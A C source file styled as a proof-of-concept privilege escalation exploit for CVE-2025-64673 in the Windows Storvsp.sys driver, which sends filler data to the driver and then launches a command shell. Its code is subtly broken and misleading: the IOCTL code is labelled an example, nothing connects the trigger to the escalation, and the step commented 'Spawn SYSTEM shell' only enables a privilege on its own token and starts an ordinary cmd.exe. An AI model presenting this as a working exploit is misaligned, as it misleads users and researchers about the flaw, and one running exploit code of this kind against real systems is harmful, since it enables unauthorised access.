// CVE-2025-64673 PoC - Storvsp.sys Local Privilege Escalation
// This PoC demonstrates the improper access control vulnerability in Storvsp.sys
// Author: Security Researcher
// Date: 2025-12-09
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
// Device name for Storvsp.sys
#define DEVICE_NAME "\\\\.\\StorVsp"
#define IOCTL_VULNERABLE_OPERATION 0x9C402088 // Example IOCTL code
// Function to open handle to the driver
HANDLE open_driver_handle() {
return CreateFileA(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
}
// Trigger the vulnerability
BOOL trigger_vulnerability(HANDLE hDevice) {
DWORD bytes_returned = 0;
uint8_t input_buffer[0x100] = {0};
uint8_t output_buffer[0x100] = {0};
// Initialize input buffer with trigger data
memset(input_buffer, 0x41, sizeof(input_buffer));
// Send malicious IOCTL request
// The driver fails to properly validate caller privileges
BOOL result = DeviceIoControl(
hDevice,
IOCTL_VULNERABLE_OPERATION,
input_buffer,
sizeof(input_buffer),
output_buffer,
sizeof(output_buffer),
&bytes_returned,
NULL
);
return result;
}
// Escalate to SYSTEM privileges
BOOL escalate_privileges() {
HANDLE hToken = NULL;
HANDLE hNewToken = NULL;
TOKEN_PRIVILEGES tp = {0};
// Get current process token
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
return FALSE;
}
// Enable SeDebugPrivilege
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = {0};
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) {
CloseHandle(hToken);
return FALSE;
}
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
// Spawn SYSTEM shell
STARTUPINFOA si = {sizeof(si)};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
if (CreateProcessA(
"C:\\\\Windows\\\\System32\\\\cmd.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
)) {
// Wait for shell
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
CloseHandle(hToken);
return TRUE;
}
int main() {
printf("[*] CVE-2025-64673 PoC - Storvsp.sys Improper Access Control\n");
printf("[*] Opening handle to StorVsp driver...\n");
HANDLE hDevice = open_driver_handle();
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open driver handle. Error: %d\n", GetLastError());
return 1;
}
printf("[+] Driver handle opened successfully\n");
printf("[*] Triggering vulnerability...\n");
if (trigger_vulnerability(hDevice)) {
printf("[+] Vulnerability triggered successfully\n");
printf("[*] Escalating privileges...\n");
escalate_privileges();
} else {
printf("[-] Failed to trigger vulnerability. Error: %d\n", GetLastError());
}
CloseHandle(hDevice);
return 0;
}
// Note: This is a conceptual PoC for educational purposes.
// Actual exploitation requires further analysis of the specific IOCTL codes
// and memory layout of the target system.